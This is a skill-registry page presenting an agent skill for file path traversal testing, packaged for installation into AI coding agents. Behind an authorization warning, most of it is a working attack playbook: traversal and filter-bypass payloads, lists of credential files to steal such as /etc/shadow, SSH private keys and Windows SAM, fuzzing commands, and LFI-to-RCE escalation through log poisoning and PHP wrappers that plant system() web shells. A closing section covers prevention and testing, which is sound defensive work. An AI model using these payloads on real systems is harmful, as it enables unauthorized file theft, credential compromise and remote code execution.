sickn33/antigravity-awesome-skills/file-path-traversal

Name: file-path-traversal
Author: sickn33

Trust tier 1

community

Source check pending

Checking that the SKILL.md file is still in the repository.

Install

npx vskill@latest install sickn33/antigravity-awesome-skills/file-path-traversal

SKILL.md

⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate
Before any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target, ask for the exact target URL, IP, account, or resource and confirmation of written authorization and permitted scope.
Show the exact command(s), explain their expected effect, and wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

File Path Traversal Testing

Purpose

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.

Prerequisites

Required Tools

Web browser with developer tools
Burp Suite or OWASP ZAP
cURL for testing payloads
Wordlists for automation
ffuf or wfuzz for fuzzing

Required Knowledge

HTTP request/response structure
Linux and Windows filesystem layout
Web application architecture
Basic understanding of file APIs

Outputs and Deliverables

Vulnerability Report - Identified traversal points and severity
Exploitation Proof - Extracted file contents
Impact Assessment - Accessible files and data exposure
Remediation Guidance - Secure coding recommendations

Core Workflow

Phase 1: Understanding Path Traversal

Path traversal occurs when applications use user input to construct file paths:

php

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

Attack principle:

../ sequence moves up one directory
Chain multiple sequences to reach root
Access files outside intended directory

Impact:

Confidentiality - Read sensitive files
Integrity - Write/modify files (in some cases)
Availability - Delete files (in some cases)
Code Execution - If combined with file upload or log poisoning

Phase 2: Identifying Traversal Points

Map application for potential file operations:

bash

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

Common vulnerable functionality:

Image loading: /image?filename=23.jpg
Template selection: ?template=blue.php
File downloads: /download?file=report.pdf
Document viewers: /view?doc=manual.pdf
Include mechanisms: ?page=about

Phase 3: Basic Exploitation Techniques

Simple Path Traversal

bash

# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
 
# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts
 
# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding
 
# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

Absolute Path Injection

bash

# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
 
# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

Phase 4: Bypass Techniques

Bypass Stripped Traversal Sequences

bash

# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
 
# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd
 
# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Bypass Extension Validation

Historical/parser-specific examples only: extra extensions do not by themselves make an existing file readable, and modern runtimes reject null-byte/invalid encoding tricks. Validate against the exact version; do not claim a bypass from a payload string alone.

bash

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
 
# Path truncation
../../../etc/passwd...............................
 
# Double extension
../../../etc/passwd.jpg.php

Bypass Base Directory Validation

bash

# When path must start with expected directory
/var/www/images/../../../etc/passwd
 
# Expected path followed by traversal
images/../../../etc/passwd

Bypass Blacklist Filters

bash

# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd
 
# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af
 
# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c
 
# Case variations (Windows)
....\\....\\etc\\passwd

Phase 5: Linux Target Files

High-value files to target:

bash

# System files
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/group            # Group information
/etc/hosts            # Host mappings
/etc/hostname         # System hostname
/etc/issue            # System banner
 
# SSH files
/root/.ssh/id_rsa           # Root private key
/root/.ssh/authorized_keys  # Authorized keys
/home/<user>/.ssh/id_rsa    # User private keys
/etc/ssh/sshd_config        # SSH configuration
 
# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
 
# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config
 
# Process information
/proc/self/environ      # Environment variables
/proc/self/cmdline      # Process command line
/proc/self/fd/0         # File descriptors
/proc/version           # Kernel version
 
# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf

Phase 6: Windows Target Files

Windows-specific targets:

bash

# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM
 
# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
 
# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php
 
# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\

Phase 7: Automated Testing

Using Burp Suite

1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success

Using ffuf

bash

# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200
 
# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac

Using wfuzz

bash

# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"
 
# With headers/cookies
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"

Phase 8: LFI to RCE Escalation

Requires separately authorized code-execution scope in a disposable lab. Reading an arbitrary file does not imply PHP inclusion; wrappers depend on runtime configuration/extensions. Modern environments often do not expose request headers in /proc/self/environ. Stop once the authorized proof is sufficient rather than escalating by default.

Log Poisoning

bash

# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
 
# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
 
# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"

Proc/self/environ

bash

# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"
 
# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"

PHP Wrapper Exploitation

bash

# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
 
# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"
 
# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
 
# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"

Phase 9: Testing Methodology

Structured testing approach:

bash

# Step 1: Identify potential parameters
# Look for file-related functionality
 
# Step 2: Test basic traversal
../../../etc/passwd
 
# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
 
# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd
 
# Step 5: Test absolute paths
/etc/passwd
 
# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg
 
# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php
 
# Step 8: Attempt log poisoning for RCE

Phase 10: Prevention Measures

Secure coding practices:

Prefer server-side opaque IDs mapped to known readable documents. Do not use include to return user-selected files: it can execute PHP. A basename filter or string-prefix check alone is not sufficient; sibling directories such as files-backup share the files prefix. Apply object-level authorization as well as containment.

python

from pathlib import Path
def safe_file_access(base_dir, filename):
    # Existing-file sketch; filename must already have passed authorization.
    base = Path(base_dir).resolve(strict=True)
    candidate = (base / filename).resolve(strict=True)
    if not candidate.is_relative_to(base) or not candidate.is_file():
        raise PermissionError("Access denied")
    return candidate.read_text(encoding="utf-8")

Resolution followed by open can race if an attacker can modify directories or symlinks. This sketch requires a trusted immutable directory tree; for hostile mutable filesystems, use platform-specific descriptor-relative, no-follow traversal/open semantics or isolate storage. Test sibling-prefix, absolute-path, encoded traversal, symlink and race boundaries in a disposable fixture.

Quick Reference

Common Payloads

Payload	Target
`../../../etc/passwd`	Linux password file
`..\..\..\..\windows\win.ini`	Windows INI file
`....//....//....//etc/passwd`	Bypass simple filter
`/etc/passwd`	Absolute path
`php://filter/convert.base64-encode/resource=config.php`	Source code

Target Files

OS	File	Purpose
Linux	`/etc/passwd`	User accounts
Linux	`/etc/shadow`	Password hashes
Linux	`/proc/self/environ`	Environment vars
Windows	`C:\windows\win.ini`	System config
Windows	`C:\boot.ini`	Boot config
Web	`wp-config.php`	WordPress DB creds

This is the start of the file. Read the full SKILL.md on GitHub.

Security

Security scanPassed, 33 of 100Pattern checks on the skill's files.
Model reviewPassed

See the full security report

Quality evaluation

Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

SKILL.md in the repositoryCheckingskills/file-path-traversal/SKILL.md

Popularity

Repository stars: 27,109
Repository forks: 4,585
Repository npm downloads, 7 days: 9,936
7-day trend score: 73

Stars and forks are for the whole GitHub repository, not this skill alone. Downloads are for the repository's npm package. Refreshed 24 Mar 2026, 7 months ago.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

Claude Code
Cursor
GitHub Copilot
Windsurf
Codex
Gemini CLI
Cline
Amp
Roo Code
Goose
Continue
Kilo Code
Junie
Trae
OpenHands
Qwen Code
AI Agent
Tabnine Chat
Sourcegraph Cody
Amazon Q
Firebase Genkit
Sweep
Devin
Phind
Mentat
Claude Desktop
Aider
GPT Pilot
Plandex
bolt.new
v0
Replit Agent
Anse
TypingMind
BetterChatGPT
LibreChat
Warp AI
Pieces
Fig AI

Embed badge

[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/sickn33/antigravity-awesome-skills/file-path-traversal/badge)](https://verified-skill.com/skills/sickn33/antigravity-awesome-skills/file-path-traversal)

Something wrong with this skill or its page? Tell us.